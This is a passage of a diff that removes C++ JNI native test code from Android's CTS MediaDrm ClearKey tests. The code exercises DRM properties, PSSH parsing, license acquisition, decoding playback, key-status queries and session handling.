-    if (strlen(url) > kFileSchemeStrLen && strncmp(url, kFileScheme, kFileSchemeStrLen) == 0) {
-        status = setDataSourceFdFromUrl(extractor, url);
-    } else {
-       status = AMediaExtractor_setDataSource(extractor, url);
-    }
-    return status;
-}
-
-extern "C" jboolean Java_android_media_cts_NativeMediaDrmClearkeyTest_isCryptoSchemeSupportedNative(
-    JNIEnv* env, jclass /*clazz*/, jbyteArray uuid) {
-
-    if (NULL == uuid) {
-        jniThrowException(env, "java/lang/NullPointerException", "null uuid");
-        return JNI_FALSE;
-    }
-
-    Uuid juuid = jbyteArrayToUuid(env, uuid);
-    if (isUuidSizeValid(juuid)) {
-         return AMediaDrm_isCryptoSchemeSupported(&juuid[0], NULL);
-    } else {
-          jniThrowExceptionFmt(env, "java/lang/IllegalArgumentException",
-                  "invalid UUID size, expected %u bytes", kUuidSize);
-    }
-    return JNI_FALSE;
-}
-
-void initPlaybackParams(JNIEnv* env, const jobject &playbackParams, PlaybackParams &params) {
-    params.surface = env->GetObjectField(
-        playbackParams, gFieldIds.surface);
-
-    params.mimeType = static_cast<jstring>(env->GetObjectField(
-        playbackParams, gFieldIds.mimeType));
-
-    params.audioUrl = static_cast<jstring>(env->GetObjectField(
-        playbackParams, gFieldIds.audioUrl));
-
-    params.videoUrl = static_cast<jstring>(env->GetObjectField(
-        playbackParams, gFieldIds.videoUrl));
-}
-
-extern "C" jboolean Java_android_media_cts_NativeMediaDrmClearkeyTest_testGetPropertyStringNative(
-    JNIEnv* env, jclass clazz, jbyteArray uuid,
-    jstring name, jobject outValue) {
-
-    if (NULL == uuid || NULL == name || NULL == outValue) {
-        jniThrowException(env, "java/lang/NullPointerException",
-                "One or more null input parameters");
-        return JNI_FALSE;
-    }
-
-    Uuid juuid = jbyteArrayToUuid(env, uuid);
-    if (!isUuidSizeValid(juuid)) {
-        jniThrowExceptionFmt(env, "java/lang/IllegalArgumentException",
-                "invalid UUID size, expected %u bytes", kUuidSize);
-        return JNI_FALSE;
-    }
-
-    AMediaObjects aMediaObjects;
-    aMediaObjects.setDrm(AMediaDrm_createByUUID(&juuid[0]));
-    if (NULL == aMediaObjects.getDrm()) {
-        jniThrowException(env, "java/lang/RuntimeException", "null MediaDrm");
-        return JNI_FALSE;
-    }
-
-    const char *utf8_name = env->GetStringUTFChars(name, NULL);
-    const char *utf8_outValue = NULL;
-    media_status_t status = AMediaDrm_getPropertyString(aMediaObjects.getDrm(),
-            utf8_name, &utf8_outValue);
-    env->ReleaseStringUTFChars(name, utf8_name);
-
-    if (NULL != utf8_outValue) {
-        clazz = env->GetObjectClass(outValue);
-        jmethodID mId = env->GetMethodID (clazz, "append",
-                "(Ljava/lang/String;)Ljava/lang/StringBuffer;");
-        jstring outString = env->NewStringUTF(
-                static_cast<const char *>(utf8_outValue));
-        env->CallObjectMethod(outValue, mId, outString);
-    } else {
-        jniThrowExceptionFmt(env, "java/lang/RuntimeException",
-                "get property string returns %d", status);
-        return JNI_FALSE;
-    }
-    return JNI_TRUE;
-}
-
-extern "C" jboolean Java_android_media_cts_NativeMediaDrmClearkeyTest_testPropertyByteArrayNative(
-        JNIEnv* env, jclass /* clazz */, jbyteArray uuid) {
-
-    if (NULL == uuid) {
-        jniThrowException(env, "java/lang/NullPointerException",
-                "uuid is NULL");
-        return JNI_FALSE;
-    }
-
-    Uuid juuid = jbyteArrayToUuid(env, uuid);
-    if (!isUuidSizeValid(juuid)) {
-        jniThrowExceptionFmt(env, "java/lang/IllegalArgumentException",
-                "invalid UUID size, expected %u bytes", kUuidSize);
-        return JNI_FALSE;
-    }
-
-    AMediaDrm* drm = AMediaDrm_createByUUID(&juuid[0]);
-    const char *propertyName = "clientId";
-    const uint8_t value[] = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10};
-    media_status_t status = AMediaDrm_setPropertyByteArray(drm, propertyName, value, sizeof(value));
-    if (status != AMEDIA_OK) {
-        jniThrowException(env, "java/lang/RuntimeException", "setPropertyByteArray failed");
-        AMediaDrm_release(drm);
-        return JNI_FALSE;
-    }
-    AMediaDrmByteArray array;
-    status = AMediaDrm_getPropertyByteArray(drm, propertyName, &array);
-    if (status != AMEDIA_OK) {
-        jniThrowException(env, "java/lang/RuntimeException", "getPropertyByteArray failed");
-        AMediaDrm_release(drm);
-        return JNI_FALSE;
-    }
-    if (array.length != sizeof(value)) {
-        jniThrowException(env, "java/lang/RuntimeException", "byte array size differs");
-        AMediaDrm_release(drm);
-        return JNI_FALSE;
-    }
-    if (!array.ptr) {
-        jniThrowException(env, "java/lang/RuntimeException", "byte array pointer is null");
-        AMediaDrm_release(drm);
-        return JNI_FALSE;
-    }
-    if (memcmp(array.ptr, value, sizeof(value)) != 0) {
-        jniThrowException(env, "java/lang/RuntimeException", "byte array content differs");
-        AMediaDrm_release(drm);
-        return JNI_FALSE;
-    }
-    AMediaDrm_release(drm);
-    return JNI_TRUE;
-}
-
-extern "C" jboolean Java_android_media_cts_NativeMediaDrmClearkeyTest__testPsshNative(
-    JNIEnv* env, jclass /*clazz*/, jbyteArray uuid, jstring videoUrl) {
-
-    if (NULL == uuid || NULL == videoUrl) {
-        jniThrowException(env, "java/lang/NullPointerException",
-                "null uuid or null videoUrl");
-        return JNI_FALSE;
-    }
-
-    Uuid juuid = jbyteArrayToUuid(env, uuid);
-    if (!isUuidSizeValid(juuid)) {
-        jniThrowExceptionFmt(env, "java/lang/IllegalArgumentException",
-                "invalid UUID size, expected %u bytes", kUuidSize);
-        return JNI_FALSE;
-    }
-
-    AMediaObjects aMediaObjects;
-    aMediaObjects.setVideoExtractor(AMediaExtractor_new());
-    const char* url = env->GetStringUTFChars(videoUrl, 0);
-    if (url) {
-        media_status_t status = setDataSourceFdOrUrl(
-            aMediaObjects.getVideoExtractor(), url);
-        env->ReleaseStringUTFChars(videoUrl, url);
-
-        if (status != AMEDIA_OK) {
-            jniThrowExceptionFmt(env, "java/lang/RuntimeException",
-                    "set video data source error=%d", status);
-            return JNI_FALSE;
-        }
-    }
-
-    PsshInfo* psshInfo = AMediaExtractor_getPsshInfo(aMediaObjects.getVideoExtractor());
-    if (psshInfo == NULL) {
-        jniThrowException(env, "java/lang/RuntimeException", "null psshInfo");
-        return JNI_FALSE;
-    }
-
-    jboolean testResult = JNI_FALSE;
-    for (size_t i = 0; i < psshInfo->numentries; i++) {
-        PsshEntry *entry = &psshInfo->entries[i];
-
-        if (0 == memcmp(entry->uuid, kClearKeyUuid, sizeof(entry->uuid))) {
-            aMediaObjects.setDrm(AMediaDrm_createByUUID(&juuid[0]));
-            if (aMediaObjects.getDrm()) {
-                testResult = JNI_TRUE;
-            } else {
-                ALOGE("Failed to create media drm=%zd", i);
-                testResult = JNI_FALSE;
-            }
-            break;
-        }
-    }
-    return testResult;
-}
-
-static bool isVideo(const char* mime) {
-    return !strncmp(mime, "video/", 6) ? true : false;
-}
-
-static bool isAudio(const char* mime) {
-    return !strncmp(mime, "audio/", 6) ? true : false;
-}
-
-static void addTrack(const AMediaFormat* format,
-        const char* mime, const AMediaCrypto* crypto,
-        const ANativeWindow* window, AMediaCodec** codec) {
-
-    *codec = AMediaCodec_createDecoderByType(mime);
-    if (codec == NULL) {
-        ALOGE("cannot create codec for %s", mime);
-        return;
-    }
-
-    AMediaCodec_configure(*codec, format,
-            const_cast<ANativeWindow*>(window),
-            const_cast<AMediaCrypto*>(crypto), 0);
-}
-
-static void addTracks(const AMediaExtractor* extractor,
-        const AMediaCrypto* crypto, const ANativeWindow* window,
-        AMediaCodec** codec) {
-    size_t numTracks = AMediaExtractor_getTrackCount(
-        const_cast<AMediaExtractor*>(extractor));
-
-    AMediaFormat* trackFormat = NULL;
-    for (size_t i = 0; i < numTracks; ++i) {
-        trackFormat = AMediaExtractor_getTrackFormat(
-            const_cast<AMediaExtractor*>(extractor), i);
-        if (trackFormat) {
-            ALOGV("track %zd format: %s", i,
-                    AMediaFormat_toString(trackFormat));
-
-            const char* mime = "";
-            if (!AMediaFormat_getString(
-                trackFormat, AMEDIAFORMAT_KEY_MIME, &mime)) {
-                ALOGE("no mime type");
-
-                AMediaFormat_delete(trackFormat);
-                return;
-            } else if (isAudio(mime) || isVideo(mime)) {
-                AMediaExtractor_selectTrack(
-                    const_cast<AMediaExtractor*>(extractor), i);
-                ALOGV("track %zd codec format: %s", i,
-                        AMediaFormat_toString(trackFormat));
-
-                addTrack(trackFormat, mime, crypto, window, codec);
-                AMediaCodec_start(*codec);
-                AMediaCodec_flush(*codec);
-                AMediaExtractor_seekTo(
-                    const_cast<AMediaExtractor*>(extractor), 0,
-                            AMEDIAEXTRACTOR_SEEK_PREVIOUS_SYNC);
-            }
-            AMediaFormat_delete(trackFormat);
-        }
-    }
-}
-
-static int64_t getSystemNanoTime() {
-    timespec now;
-    clock_gettime(CLOCK_MONOTONIC, &now);
-    return now.tv_sec * 1000000000LL + now.tv_nsec;
-}
-
-static void fillDecoder(AMediaCodec* codec, AMediaExtractor* extractor,
-        int64_t* presentationTimeUs, bool* eosReached) {
-    media_status_t status = AMEDIA_OK;
-
-    ssize_t bufferIndex = AMediaCodec_dequeueInputBuffer(codec, 2000);
-    if (bufferIndex >= 0) {
-        size_t bufsize;
-        uint8_t* buf = AMediaCodec_getInputBuffer(codec, bufferIndex, &bufsize);
-
-        int sampleSize = AMediaExtractor_readSampleData(extractor, buf, bufsize);
-        if (sampleSize < 0) {
-            sampleSize = 0;
-            *eosReached = true;
-        }
-
-        *presentationTimeUs = AMediaExtractor_getSampleTime(extractor);
-
-        AMediaCodecCryptoInfo *cryptoInfo =
-            AMediaExtractor_getSampleCryptoInfo(extractor);
-
-        if (cryptoInfo) {
-            status = AMediaCodec_queueSecureInputBuffer(
-                codec, bufferIndex, 0, cryptoInfo,
-                *presentationTimeUs,
-                *eosReached ? AMEDIACODEC_BUFFER_FLAG_END_OF_STREAM : 0);
-            AMediaCodecCryptoInfo_delete(cryptoInfo);
-        } else {
-            status = AMediaCodec_queueInputBuffer(
-                codec, bufferIndex, 0, sampleSize,
-                *presentationTimeUs,
-                *eosReached ? AMEDIACODEC_BUFFER_FLAG_END_OF_STREAM : 0);
-        }
-        AMediaExtractor_advance(extractor);
-    }
-}
-
-static bool drainDecoder(AMediaCodec* codec, int64_t presentationTimeUs,
-    int64_t* startTimeNano) {
-
-    AMediaCodecBufferInfo info;
-    ssize_t bufferIndex  = AMediaCodec_dequeueOutputBuffer(codec, &info, 0);
-    if (bufferIndex >= 0) {
-        if (info.flags & AMEDIACODEC_BUFFER_FLAG_END_OF_STREAM) {
-            return true;  // eos reached
-        }
-
-        if (*startTimeNano < 0) {
-            *startTimeNano = getSystemNanoTime() - (presentationTimeUs * 1000);
-        }
-        int64_t delay = (*startTimeNano + presentationTimeUs * 1000) -
-                getSystemNanoTime();
-        if (delay > 0) {
-            usleep(delay / 1000);
-        }
-
-        AMediaCodec_releaseOutputBuffer(codec, bufferIndex, info.size != 0);
-    } else if (bufferIndex == AMEDIACODEC_INFO_OUTPUT_BUFFERS_CHANGED) {
-        ALOGV("output buffers changed");
-    } else if (bufferIndex == AMEDIACODEC_INFO_OUTPUT_FORMAT_CHANGED) {
-        AMediaFormat* format = AMediaCodec_getOutputFormat(codec);
-        ALOGV("format changed to: %s", AMediaFormat_toString(format));
-        AMediaFormat_delete(format);
-    } else if (bufferIndex == AMEDIACODEC_INFO_TRY_AGAIN_LATER) {
-         ALOGV("no output buffer right now");
-         usleep(20000);
-    } else {
-         ALOGV("unexpected info code: %zd", bufferIndex);
-    }
-    return false;
-}
-
-static jboolean playContent(JNIEnv* env, const AMediaObjects& aMediaObjects,
-        PlaybackParams& params, const AMediaDrmSessionId& sessionId, Uuid uuid) {
-
-    ANativeWindow *window = ANativeWindow_fromSurface(env, params.surface);
-    AMediaExtractor* audioExtractor = aMediaObjects.getAudioExtractor();
-    AMediaExtractor* videoExtractor = aMediaObjects.getVideoExtractor();
-
-    AMediaCodec* audioCodec = NULL;
-    AMediaCodec* videoCodec = NULL;
-    AMediaCrypto* crypto = NULL;
-
-    crypto = AMediaCrypto_new(&uuid[0], sessionId.ptr, sessionId.length);
-    if (crypto == NULL) {
-        jniThrowException(env, "java/lang/RuntimeException",
-                "failed to create crypto object");
-        return JNI_FALSE;
-    }
-
-    addTracks(audioExtractor, NULL, NULL, &audioCodec);
-
-    addTracks(videoExtractor, crypto, window, &videoCodec);
-
-    bool sawAudioInputEos = false;
-    bool sawAudioOutputEos = false;
-    bool sawVideoInputEos = false;
-    bool sawVideoOutputEos = false;
-    int64_t videoPresentationTimeUs = 0;
-    int64_t videoStartTimeNano = -1;
-    struct timespec timeSpec;
-    clock_gettime(CLOCK_MONOTONIC, &timeSpec);
-    time_t startTimeSec = timeSpec.tv_sec;
-
-    while (!sawAudioOutputEos && !sawVideoOutputEos) {
-        if (!sawVideoInputEos) {
-            fillDecoder(videoCodec, videoExtractor,
-                    &videoPresentationTimeUs, &sawVideoInputEos);
-        }
-
-        if (!sawAudioInputEos) {
-            // skip audio, still need to advance the audio extractor
-            AMediaExtractor_advance(audioExtractor);
-        }
-
-        if (!sawVideoOutputEos) {
-            sawVideoOutputEos = drainDecoder(videoCodec, videoPresentationTimeUs,
-                    &videoStartTimeNano);
-        }
-
-        clock_gettime(CLOCK_MONOTONIC, &timeSpec);
-        if (timeSpec.tv_sec >= static_cast<time_t>(
-            (startTimeSec + kPlayTimeSeconds))) {
-            // stop reading samples and drain the output buffers
-            sawAudioInputEos = sawVideoInputEos = true;
-            sawAudioOutputEos = true; // ignore audio
-        }
-    }
-
-    if (audioCodec) {
-        AMediaCodec_stop(audioCodec);
-        AMediaCodec_delete(audioCodec);
-    }
-    if (videoCodec) {
-        AMediaCodec_stop(videoCodec);
-        AMediaCodec_delete(videoCodec);
-    }
-
-    AMediaCrypto_delete(crypto);
-    ANativeWindow_release(window);
-    return JNI_TRUE;
-}
-
-static void listener(
-    AMediaDrm* /*drm*/, const AMediaDrmSessionId* /*sessionId*/,
-    AMediaDrmEventType eventType,
-    int /*extra*/, const uint8_t* /*data*/, size_t /*dataSize*/) {
-
-    switch (eventType) {
-        case EVENT_PROVISION_REQUIRED:
-            ALOGD("EVENT_PROVISION_REQUIRED received");
-            break;
-        case EVENT_KEY_REQUIRED:
-            ALOGD("EVENT_KEY_REQUIRED received");
-            break;
-        case EVENT_KEY_EXPIRED:
-            ALOGD("EVENT_KEY_EXPIRED received");
-            break;
-        case EVENT_VENDOR_DEFINED:
-            gGotVendorDefinedEvent = true;
-            ALOGD("EVENT_VENDOR_DEFINED received");
-            break;
-        case EVENT_SESSION_RECLAIMED:
-            ALOGD("EVENT_SESSION_RECLAIMED received");
-            break;
-        default:
-            ALOGD("Unknown event received");
-            break;
-    }
-}
-
-static void onExpirationUpdateListener(
-    AMediaDrm* /*drm*/, const AMediaDrmSessionId* /*sessionId*/,
-    int64_t expiryTimeInMS) {
-
-    if (expiryTimeInMS == 100) {
-        ALOGD("Updates new expiration time to %" PRId64 " ms", expiryTimeInMS);
-        gListenerGotValidExpiryTime = true;
-    } else {
-        ALOGE("Expects 100 ms for expiry time, received: %" PRId64 " ms", expiryTimeInMS);
-        gListenerGotValidExpiryTime = false;
-    }
-}
-
-static void onKeysChangeListener(
-    AMediaDrm* /*drm*/, const AMediaDrmSessionId* /*sessionId*/,
-    const AMediaDrmKeyStatus* keysStatus, size_t numKeys, bool hasNewUsableKey) {
-
-    gOnKeyChangeListenerOK = false;
-    if (numKeys != 3) {
-        ALOGE("Expects 3 keys, received %zd keys", numKeys);
-        return;
-    }
-
-    if (!hasNewUsableKey) {
-        ALOGE("Expects hasNewUsableKey to be true");
-        return;
-    }
-
-    ALOGD("Number of keys changed=%zd", numKeys);
-    AMediaDrmKeyStatus keyStatus;
-    for (size_t i = 0; i < numKeys; ++i) {
-        keyStatus.keyId.ptr = keysStatus[i].keyId.ptr;
-        keyStatus.keyId.length = keysStatus[i].keyId.length;
-        keyStatus.keyType = keysStatus[i].keyType;
-
-        ALOGD("key[%zd]: key: %0x, %0x, %0x", i, keyStatus.keyId.ptr[0], keyStatus.keyId.ptr[1],
-                keyStatus.keyId.ptr[2]);
-        ALOGD("key[%zd]: key type=%d", i, keyStatus.keyType);
-    }
-    gOnKeyChangeListenerOK = true;
-}
-
-static void acquireLicense(
-    JNIEnv* env, const AMediaObjects& aMediaObjects, const AMediaDrmSessionId& sessionId,
-    AMediaDrmKeyType keyType) {
-    // Pointer to keyRequest memory, which remains until the next
-    // AMediaDrm_getKeyRequest call or until the drm object is released.
-    const uint8_t* keyRequest;
-    size_t keyRequestSize = 0;
-    std::string errorMessage;
-
-    // The server recognizes "video/mp4" but not "video/avc".
-    media_status_t status = AMediaDrm_getKeyRequest(aMediaObjects.getDrm(),
-            &sessionId, kClearkeyPssh, sizeof(kClearkeyPssh),
-            "video/mp4" /*mimeType*/, keyType,
-            NULL, 0, &keyRequest, &keyRequestSize);
-    if (status != AMEDIA_OK) {
-        errorMessage.assign("getKeyRequest failed, error = %d");
-        goto errorOut;
-    }
-
-    if (kKeyRequestSize != keyRequestSize) {
-        ALOGE("Invalid keyRequestSize %zd", kKeyRequestSize);
-        errorMessage.assign("Invalid key request size, error = %d");
-        status = AMEDIA_DRM_NEED_KEY;
-        goto errorOut;
-    }
-
-    if (memcmp(kKeyRequestData, keyRequest, kKeyRequestSize) != 0) {
-        errorMessage.assign("Invalid key request data is returned, error = %d");
-        status = AMEDIA_DRM_NEED_KEY;
-        goto errorOut;
-    }
-
-    AMediaDrmKeySetId keySetId;
-    gGotVendorDefinedEvent = false;
-    gListenerGotValidExpiryTime = false;
-    gOnKeyChangeListenerOK = false;
-    status = AMediaDrm_provideKeyResponse(aMediaObjects.getDrm(), &sessionId,
-            reinterpret_cast<const uint8_t*>(kResponse),
-            sizeof(kResponse), &keySetId);
-    if (status == AMEDIA_OK) {
-        return;  // success
-    }
-
-    errorMessage.assign("provideKeyResponse failed, error = %d");
-
-errorOut:
-    AMediaDrm_closeSession(aMediaObjects.getDrm(), &sessionId);
-    jniThrowExceptionFmt(env, "java/lang/RuntimeException", errorMessage.c_str(), status);
-}
-
-extern "C" jboolean Java_android_media_cts_NativeMediaDrmClearkeyTest_testClearKeyPlaybackNative(
-    JNIEnv* env, jclass /*clazz*/, jbyteArray uuid, jobject playbackParams) {
-    if (NULL == uuid || NULL == playbackParams) {
-        jniThrowException(env, "java/lang/NullPointerException",
-                "null uuid or null playback parameters");
-        return JNI_FALSE;
-    }
-
-    Uuid juuid = jbyteArrayToUuid(env, uuid);
-    if (!isUuidSizeValid(juuid)) {
-        jniThrowExceptionFmt(env, "java/lang/IllegalArgumentException",
-                "invalid UUID size, expected %u bytes", kUuidSize);
-        return JNI_FALSE;
-    }
-
-    PlaybackParams params;
-    initPlaybackParams(env, playbackParams, params);
-
-    AMediaObjects aMediaObjects;
-    media_status_t status = AMEDIA_OK;
-    aMediaObjects.setDrm(AMediaDrm_createByUUID(&juuid[0]));
-    if (NULL == aMediaObjects.getDrm()) {
-        jniThrowException(env, "java/lang/RuntimeException", "null MediaDrm");
-        return JNI_FALSE;
-    }
-
-    status = AMediaDrm_setOnEventListener(aMediaObjects.getDrm(), listener);
-    if (status != AMEDIA_OK) {
-        jniThrowException(env, "java/lang/RuntimeException",
-                "setOnEventListener failed");
-        return JNI_FALSE;
-    }
-
-    status = AMediaDrm_setOnExpirationUpdateListener(aMediaObjects.getDrm(),
-            onExpirationUpdateListener);
-    if (status != AMEDIA_OK) {
-        jniThrowException(env, "java/lang/RuntimeException",
-                "setOnExpirationUpdateListener failed");
-        return JNI_FALSE;
-    }
-
-    status = AMediaDrm_setOnKeysChangeListener(aMediaObjects.getDrm(),
-            onKeysChangeListener);
-    if (status != AMEDIA_OK) {
-        jniThrowException(env, "java/lang/RuntimeException",
-                "setOnKeysChangeListener failed");
-        return JNI_FALSE;
-    }
-
-    aMediaObjects.setAudioExtractor(AMediaExtractor_new());
-    const char* url = env->GetStringUTFChars(params.audioUrl, 0);
-    if (url) {
-        status = setDataSourceFdOrUrl(
-            aMediaObjects.getAudioExtractor(), url);
-        env->ReleaseStringUTFChars(params.audioUrl, url);
-
-        if (status != AMEDIA_OK) {
-            jniThrowExceptionFmt(env, "java/lang/RuntimeException",
-                    "set audio data source error=%d", status);
-            return JNI_FALSE;
-        }
-    }
-
-    aMediaObjects.setVideoExtractor(AMediaExtractor_new());
-    url = env->GetStringUTFChars(params.videoUrl, 0);
-    if (url) {
-        status = setDataSourceFdOrUrl(
-            aMediaObjects.getVideoExtractor(), url);
-        env->ReleaseStringUTFChars(params.videoUrl, url);
-
-        if (status != AMEDIA_OK) {
-            jniThrowExceptionFmt(env, "java/lang/RuntimeException",
-                    "set video data source error=%d", status);
-            return JNI_FALSE;
-        }
-    }
-
-    AMediaDrmSessionId sessionId;
-    status = AMediaDrm_openSession(aMediaObjects.getDrm(), &sessionId);
-    if (status != AMEDIA_OK) {
-        jniThrowException(env, "java/lang/RuntimeException",
-                "openSession failed");
-        return JNI_FALSE;
-    }
-
-    acquireLicense(env, aMediaObjects, sessionId, KEY_TYPE_STREAMING);
-
-    // Checks if the event listener has received the expected event sent by
-    // provideKeyResponse. This is for testing AMediaDrm_setOnEventListener().
-    const char *utf8_outValue = NULL;
-    status = AMediaDrm_getPropertyString(aMediaObjects.getDrm(),
-            "listenerTestSupport", &utf8_outValue);
-    if (status == AMEDIA_OK && NULL != utf8_outValue) {
-        std::string eventType(utf8_outValue);
-        if (eventType.compare("true") == 0) {
-            int count = 0;
-            while ((!gGotVendorDefinedEvent ||
-                    !gListenerGotValidExpiryTime ||
-                    !gOnKeyChangeListenerOK) && count++ < 5) {
-               // Prevents race condition when the event arrives late
-               usleep(10000);
-            }
-
-            if (!gGotVendorDefinedEvent) {
-                ALOGE("Event listener did not receive the expected event.");
-                jniThrowExceptionFmt(env, "java/lang/RuntimeException",
-                        "Event listener did not receive the expected event.");
-                AMediaDrm_closeSession(aMediaObjects.getDrm(), &sessionId);
-                return JNI_FALSE;
-           }
-
-          // Checks if onExpirationUpdateListener received the correct expiry time.
-           if (!gListenerGotValidExpiryTime) {
-               jniThrowExceptionFmt(env, "java/lang/RuntimeException",
-                       "onExpirationUpdateListener received incorrect expiry time.");
-               AMediaDrm_closeSession(aMediaObjects.getDrm(), &sessionId);
-               return JNI_FALSE;
-           }
-
-          // Checks if onKeysChangeListener succeeded.
-          if (!gOnKeyChangeListenerOK) {
-              jniThrowExceptionFmt(env, "java/lang/RuntimeException",
-                      "onKeysChangeListener failed");
-              AMediaDrm_closeSession(aMediaObjects.getDrm(), &sessionId);
-              return JNI_FALSE;
-          }
-        }
-    }
-
-    playContent(env, aMediaObjects, params, sessionId, juuid);
-
-    status = AMediaDrm_closeSession(aMediaObjects.getDrm(), &sessionId);
-    if (status != AMEDIA_OK) {
-        jniThrowException(env, "java/lang/RuntimeException",
-                "closeSession failed");
-        return JNI_FALSE;
-    }
-    return JNI_TRUE;
-}
-
-extern "C" jboolean Java_android_media_cts_NativeMediaDrmClearkeyTest_testQueryKeyStatusNative(
-    JNIEnv* env, jclass /*clazz*/, jbyteArray uuid) {
-
-    if (NULL == uuid) {
-        jniThrowException(env, "java/lang/NullPointerException", "null uuid");
-        return JNI_FALSE;
-    }
-
-    Uuid juuid = jbyteArrayToUuid(env, uuid);
-    if (!isUuidSizeValid(juuid)) {
-        jniThrowExceptionFmt(env, "java/lang/IllegalArgumentException",
-                "invalid UUID size, expected %u bytes", kUuidSize);
-        return JNI_FALSE;
-    }
-
-    AMediaObjects aMediaObjects;
-    media_status_t status = AMEDIA_OK;
-    aMediaObjects.setDrm(AMediaDrm_createByUUID(&juuid[0]));
-    if (NULL == aMediaObjects.getDrm()) {
-        jniThrowException(env, "java/lang/RuntimeException", "failed to create drm");
-        return JNI_FALSE;
-    }
-
-    AMediaDrmSessionId sessionId;
-    status = AMediaDrm_openSession(aMediaObjects.getDrm(), &sessionId);
-    if (status != AMEDIA_OK) {
-        jniThrowException(env, "java/lang/RuntimeException",
-                "openSession failed");
-        return JNI_FALSE;
-    }
-
-    size_t numPairs = 3;
-    AMediaDrmKeyValue keyStatus[numPairs];
-
-    // Test default key status, should return zero key status
-    status = AMediaDrm_queryKeyStatus(aMediaObjects.getDrm(), &sessionId, keyStatus, &numPairs);
-    if (status != AMEDIA_OK) {
-        jniThrowExceptionFmt(env, "java/lang/RuntimeException",
-                "AMediaDrm_queryKeyStatus failed, error = %d", status);
-        AMediaDrm_closeSession(aMediaObjects.getDrm(), &sessionId);
-        return JNI_FALSE;
-    }
-
-    if (numPairs != 0) {
-        jniThrowExceptionFmt(env, "java/lang/RuntimeException",
-                "AMediaDrm_queryKeyStatus failed, no policy should be defined");
-        AMediaDrm_closeSession(aMediaObjects.getDrm(), &sessionId);
-        return JNI_FALSE;
-    }
-
-    acquireLicense(env, aMediaObjects, sessionId, KEY_TYPE_STREAMING);
-
-    // Test short buffer
-    numPairs = 2;
-    status = AMediaDrm_queryKeyStatus(aMediaObjects.getDrm(), &sessionId, keyStatus, &numPairs);
-    if (status != AMEDIA_DRM_SHORT_BUFFER) {
-        jniThrowExceptionFmt(env, "java/lang/RuntimeException",
-                "AMediaDrm_queryKeyStatus should return AMEDIA_DRM_SHORT_BUFFER, error = %d",
-                        status);
-        AMediaDrm_closeSession(aMediaObjects.getDrm(), &sessionId);
-        return JNI_FALSE;
-    }
-
-    // Test valid key status
-    numPairs = 3;
-    status = AMediaDrm_queryKeyStatus(aMediaObjects.getDrm(), &sessionId, keyStatus, &numPairs);
-    if (status != AMEDIA_OK) {
-        jniThrowExceptionFmt(env, "java/lang/RuntimeException",
-                "AMediaDrm_queryKeyStatus failed, error = %d", status);
-        AMediaDrm_closeSession(aMediaObjects.getDrm(), &sessionId);
-        return JNI_FALSE;
-    }
-
-    for (size_t i = 0; i < numPairs; ++i) {
-        ALOGI("AMediaDrm_queryKeyStatus: key=%s, value=%s", keyStatus[i].mKey, keyStatus[i].mValue);
-    }
-
-    if (numPairs != 3) {
-        jniThrowExceptionFmt(env, "java/lang/RuntimeException",
-                "AMediaDrm_queryKeyStatus returns %zd key status, expecting 3", numPairs);
-        AMediaDrm_closeSession(aMediaObjects.getDrm(), &sessionId);
-        return JNI_FALSE;
-    }
-
-    status = AMediaDrm_closeSession(aMediaObjects.getDrm(), &sessionId);
-    if (status != AMEDIA_OK) {
-        jniThrowException(env, "java/lang/RuntimeException",
-                "closeSession failed");
-        return JNI_FALSE;
-    }
-    return JNI_TRUE;
-}
-
-extern "C" jboolean Java_android_media_cts_NativeMediaDrmClearkeyTest_testFindSessionIdNative(
-    JNIEnv* env, jclass /*clazz*/, jbyteArray uuid) {
-
-    if (NULL == uuid) {
-        jniThrowException(env, "java/lang/NullPointerException", "null uuid");
-        return JNI_FALSE;
-    }
-
-    Uuid juuid = jbyteArrayToUuid(env, uuid);
-    if (!isUuidSizeValid(juuid)) {
-        jniThrowExceptionFmt(env, "java/lang/IllegalArgumentException",
-                "invalid UUID size, expected %u bytes", kUuidSize);
-        return JNI_FALSE;
-    }
-
-    AMediaObjects aMediaObjects;
-    media_status_t status = AMEDIA_OK;
-    aMediaObjects.setDrm(AMediaDrm_createByUUID(&juuid[0]));
-    if (NULL == aMediaObjects.getDrm()) {
-        jniThrowException(env, "java/lang/RuntimeException", "failed to create drm");
-        return JNI_FALSE;
-    }
-
-    // Stores duplicates of session id.
-    std::vector<std::vector<uint8_t> > sids;
-
-    std::list<AMediaDrmSessionId> sessionIds;
-    AMediaDrmSessionId sessionId;
-    for (int i = 0; i < 5; ++i) {
-        status = AMediaDrm_openSession(aMediaObjects.getDrm(), &sessionId);
-        if (status != AMEDIA_OK) {
-            jniThrowException(env, "java/lang/RuntimeException", "openSession failed");
-            return JNI_FALSE;
-        }
-
-        // Allocates a new pointer to duplicate the session id returned by
-        // AMediaDrm_openSession. These new pointers will be passed to
-        // AMediaDrm_closeSession, which verifies that the ndk
-        // can find the session id even if the pointer has changed.
-        sids.push_back(std::vector<uint8_t>(sessionId.length));
-        memcpy(sids.at(i).data(), sessionId.ptr, sessionId.length);
-        sessionId.ptr = static_cast<uint8_t *>(sids.at(i).data());
-        sessionIds.push_back(sessionId);
-    }
-
-    for (auto sessionId : sessionIds) {
-        status = AMediaDrm_closeSession(aMediaObjects.getDrm(), &sessionId);
-        if (status != AMEDIA_OK) {
-            jniThrowException(env, "java/lang/RuntimeException", "closeSession failed");
-            return JNI_FALSE;
-        }
-    }
-
-    return JNI_TRUE;
-}
-
-static JNINativeMethod gMethods[] = {
-    { "isCryptoSchemeSupportedNative", "([B)Z",
-            (void *)Java_android_media_cts_NativeMediaDrmClearkeyTest_isCryptoSchemeSupportedNative },
-
-    { "testClearKeyPlaybackNative",
-            "([BLandroid/media/cts/NativeMediaDrmClearkeyTest$PlaybackParams;)Z",
-            (void *)Java_android_media_cts_NativeMediaDrmClearkeyTest_testClearKeyPlaybackNative },
-
-    { "testGetPropertyStringNative",
-            "([BLjava/lang/String;Ljava/lang/StringBuffer;)Z",
-            (void *)Java_android_media_cts_NativeMediaDrmClearkeyTest_testGetPropertyStringNative },
-
-    { "testPropertyByteArrayNative",
-            "([B)Z",
-            (void *)Java_android_media_cts_NativeMediaDrmClearkeyTest_testPropertyByteArrayNative },
-
-    { "testPsshNative", "([BLjava/lang/String;)Z",
-            (void *)Java_android_media_cts_NativeMediaDrmClearkeyTest__testPsshNative },
-
-    { "testQueryKeyStatusNative", "([B)Z",
-            (void *)Java_android_media_cts_NativeMediaDrmClearkeyTest_testQueryKeyStatusNative },
-
-    { "testFindSessionIdNative", "([B)Z",
-            (void *)Java_android_media_cts_NativeMediaDrmClearkeyTest_testFindSessionIdNative },
-};
-
